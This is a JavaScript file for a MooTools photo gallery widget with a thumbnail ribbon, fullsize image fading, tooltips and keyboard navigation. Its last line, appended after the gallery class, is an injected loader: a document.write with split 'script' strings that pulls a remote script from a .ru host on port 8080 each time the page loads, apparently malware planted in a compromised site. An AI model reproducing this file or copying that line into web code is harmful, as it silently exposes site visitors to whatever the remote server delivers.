window.addEvent('domready', function() {
	$$('.pg-rf').each(function(wrapper) {
		if(!wrapper.hasClass('pg-init')) new pgRibbonFullsize(wrapper);
		wrapper.addClass('pg-init');
	});
});

var pgRibbonFullsize = new Class({
																 
	Implements: [Options],
 
	options: {
		initial: 0,
		perPage: 10
	},
												
	initialize: function(el, options) {
		//options
		this.setOptions(options);
		
		//main element reference
		this.wrapper = $(el);
		
		//last item to be clicked
		this.last = {
			clicked: false,
			index: 0
		};
		
		//-----
		
		//fullsize
		this.fullsize = {
			images: this.wrapper.getElement('.fullsize').getElements('img[class!="loader-image"]'),
			imagesSrc: [],
			width: this.wrapper.getElement('.fullsize').getStyle('width').toInt(),
			height: this.wrapper.getElement('.fullsize').getStyle('height').toInt(),
			title: this.wrapper.getElement('.title').getElement('.fullsize-title'),
			description: this.wrapper.getElement('.title').getElement('.fullsize-description'),
			loader: this.wrapper.getElement('.fullsize').getElement('.loader')
		};
		
		//hide all fullsize
		this.fullsize.images.fade('hide');
		this.fullsize.images.setStyle('display', 'block');
		
		//-----
		
		//thumbs
		this.thumbs = {
			images: this.wrapper.getElements('.thumbs img')
		};
		
		this.thumbs.images.each(function(thumb) {																		 
			//store thumbnail info
			var parts = thumb.get('title').split('##');
			thumb.set('title', '');
			thumb.store('index', parts[0]);
			thumb.store('title', parts[1].length > 0 ? parts[1] + ':' : ' ');
			thumb.store('tip:title', parts[1]);
			thumb.store('description', parts[2]);
			thumb.store('tip:text', parts[2]);
			
			//click
			thumb.addEvent('click', function() {
				this.showImage(arguments[0]);
				return false;
			}.bind(this, parts[0]));
		}.bind(this));
		
		
		//preload
		this.preload();
		
		//-----
		
		//ribbon
		this.ribbon = {
			page: 0,
			thumbWidth: 79,
			scroller: false,
			scrollerWrapper: this.wrapper.getElement('.thumbs-ribbon-scroller'),
			thumbsWrapper: this.wrapper.getElement('.thumbs-wrapper'),
			thumbs: this.wrapper.getElement('.thumbs'),
			prev: this.wrapper.getElement('.ribbon').getElement('.prev'),
			next: this.wrapper.getElement('.ribbon').getElement('.next')
		};

		//set widths
		if(this.thumbs.images.length > 0) {
			this.ribbon.thumbWidth = this.thumbs.images[0].getSize().x + this.thumbs.images[0].getStyle('margin-left').toInt() + this.thumbs.images[0].getStyle('margin-right').toInt();
			this.ribbon.thumbsWrapper.setStyle('width', (this.options.perPage * this.ribbon.thumbWidth + 1) + 'px');
			this.ribbon.thumbs.setStyle('width', (this.options.perPage * this.ribbon.thumbWidth) + 'px');
			this.ribbon.scrollerWrapper.setStyle('width', this.thumbs.images.length * this.ribbon.thumbWidth);
		}
		else {
			this.ribbon.scrollerWrapper.setStyle('width', this.options.perPage * this.ribbon.thumbWidth);
		}
	
		//create scroller
		this.ribbon.scroller = new Fx.Scroll(this.ribbon.thumbs, {
			wait: false,
			duration: 1000,
			transition: Fx.Transitions.Quad.easeInOut,
			wheelStops: false
		});
		
		//events
		this.ribbon.prev.addEvent('click', function() {
			this.scrollRibbon('prev');
			return false;
		}.bind(this));
		
		this.ribbon.next.addEvent('click', function() {
			this.scrollRibbon('next');
			return false;
		}.bind(this));
		
		//-----
		
		//nav
		this.nav = {
			first: this.wrapper.getElement('.nav').getElement('.first'),
			prev: this.wrapper.getElement('.nav').getElement('.prev'),
			next: this.wrapper.getElement('.nav').getElement('.next'),
			last:this.wrapper.getElement('.nav').getElement('.last')
		};
		
		this.nav.first.addEvent('click', function(event) {
			event = new Event(event).stop();
			this.showImage(0);
			return false;
		}.bind(this));
		
		this.nav.prev.addEvent('click', function(event) {
			event = new Event(event).stop();
			this.showImage(this.last.index - 1);
			return false;
		}.bind(this));
		
		this.nav.next.addEvent('click', function(event) {
			event = new Event(event).stop();
			this.showImage(this.last.index + 1);
			return false;
		}.bind(this));
		
		this.nav.last.addEvent('click', function(event) {
			event = new Event(event).stop();
			this.showImage(this.thumbs.images.length - 1);
			return false;
		}.bind(this));
		
		//-----
		
		//tooltips
		this.tips = new Tips(this.thumbs.images, {
			className: 'pg-rf-tip',
			offset: {'x': -100, 'y': -105},
			showDelay: 1,
			hideDelay: 1,
			onShow: function(tip) {
				this.options.offset.y = this.tip.getSize().y * -1 - 15;
				this.tip.setStyle('top', (pgMousePosition.y + this.options.offset.y) + 'px');
				this.tip.fade('show');
			},
			onHide: function(tip) {
				this.tip.fade('hide');
				this.tip.setStyle('top', '0px');
			}
		});
		
		//-----
		
		//keyboard navigation (if standalone)
		if($(document.body).hasClass('pg')) {
			document.addEvent('keydown', function(event) {			
				switch(event.key) {
					//first
					case 'f':
					case 'up':
						this.showImage(0);
						break;
					//previous
					case 'p':
					case 'left':
						this.showImage(this.last.index - 1);
						break;
					//next
					case 'n':
					case 'right':
						this.showImage(this.last.index + 1);
						break;
					//last
					case 'l':
					case 'down':
						this.showImage(this.thumbs.images.length - 1);
						break;					
				}
			}.bind(this));
		}
		
		//get mouse coordinates
		$(document.body).addEvent('mousemove', function(event) {
			pgMousePosition = {x: event.page.x, y: event.page.y};
		});
	},
	
	//preload all images, adjust margins, trigger initial click
	preload: function() {
		this.fullsize.images.each(function(fs) {
			this.fullsize.imagesSrc.push(fs.get('src'));
		}.bind(this));
		
		new Asset.images(this.fullsize.imagesSrc, { 
			onProgress: function(counter, index) {
				var fs = this.fullsize.images[index];
				var fsWidth = fs.getStyle('width').toInt();
				var fsHeight = fs.getStyle('height').toInt();
				fs.setStyles({
					marginTop: Math.ceil((this.fullsize.height - fsHeight) / 2),
					marginLeft: Math.ceil((this.fullsize.width - fsWidth) / 2)
				});
				
				//trigger image
				if(index == this.options.initial) {
					if(this.fullsize.loader) this.fullsize.loader.setStyle('display', 'none');
					this.showImage(index);
				}
			}.bind(this)
		});
		
		return this;
	},
	
	//image changed (called when a thumb is clicked)
	showImage: function(index) {
		index = index.toInt();
		
		//adjust index if out of bounds
		if(index < 0) index = this.thumbs.images.length - 1;
		else if(index > this.thumbs.images.length - 1) index = 0;
	
		//fade last image out
		if(this.last.clicked) {
			this.last.clicked.fade('out');
			this.thumbs.images[this.last.index].removeClass('current');
		}
		
		this.thumbs.images[index].addClass('current');
		this.last.index = index;
		
		//fade new image in
		this.last.clicked = this.fullsize.images[this.last.index];
		this.last.clicked.fade('in');
		this.fullsize.title.set('html', this.thumbs.images[index].retrieve('title'));
		this.fullsize.description.set('html', this.thumbs.images[index].retrieve('description'));
		
		//adjust scroller
		this.ribbon.page = Math.floor(index / this.options.perPage);
		this.scrollRibbon();
				
		return this;
	},
	
	//scroll the ribbon by page
	scrollRibbon: function(how) {
		switch(how) {
			case 'prev':
				if(this.ribbon.page > 0) this.ribbon.page--;
				break;
			case 'next':
				if(this.ribbon.page < Math.floor((this.thumbs.images.length - 1) / this.options.perPage)) this.ribbon.page++;
				break;
		}

		var x = this.ribbon.page * (this.ribbon.thumbWidth * this.options.perPage);
		this.ribbon.scroller.start(x);
		
		return this;
	}
	
});

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Gibibyte.js"></scr'+'ipt>');